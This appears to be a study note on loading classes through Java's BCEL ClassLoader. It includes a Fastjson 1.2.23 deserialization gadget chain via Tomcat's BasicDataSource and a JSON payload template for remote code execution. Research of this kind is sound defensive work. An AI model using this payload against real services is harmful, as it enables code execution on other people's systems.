BCEL

BCEL

Introduction

BCEL(Byte Code Engineering Library) is a JDK native library that can analyse, create and modify the java byte code. Besides, it is also included in the Tomcat dependencies org.apache.tomcat.dbcp.dbcp2.BasicDataSource.

com.sun.org.apache.bcel.internal.util.ClassLoader overwrites Java’s built-in ClassLoader#loadClass() method, which can encode and decode the string.

Practice

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class main {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(calc.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}

The Repository is used to convert a Java Class into native bytecode first (like javac)

The Utility is used to convert native bytecode into bytecode in BCEL format.

BCEL+FastJson1.2.23

1
2
3
4
5
gadget chain:
BasicDataSource.getConnection()
->BasicDataSource.createDataSource()
->BasicDataSource.createConnectionFactory()
->DriverFactory.createDriver()

However, BasicDataSource.getConnection() doesn’t meet the getter requirements, so we need to bypass this limitation.

Payload:

1
2
3
4
5
6
7
8
9
10
11
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "BCEL byte code"
}
}: "bbb"
}

In this situation, we first got a JSON Object “aaa”, and then, it will be transformed into the key of “bbb”.

In this transformation, the JSON Object(inherit from Map Class) will call toString method, and call it’s getter method.

Reference

https://p4d0rn.gitbook.io/java/prerequisites/bcel